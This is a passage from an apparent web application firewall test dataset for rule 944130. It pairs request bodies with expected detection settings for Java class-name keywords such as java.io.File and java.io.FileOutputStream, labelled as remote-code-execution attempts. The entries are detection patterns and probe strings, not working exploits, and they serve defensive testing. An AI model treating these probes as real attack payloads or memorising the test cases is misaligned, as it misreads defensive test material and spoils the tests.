{ "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.DataInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.DataInputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.DataInputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.DataInputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.DataInputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.DataInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.DataInputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.DataInputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.DataInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.File" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.File=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.File\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.File</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.File</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.File" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.File\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.File\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.File" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.FileOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.FileOutputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.FileOutputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.FileOutputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.FileOutputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.FileOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.FileOutputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { 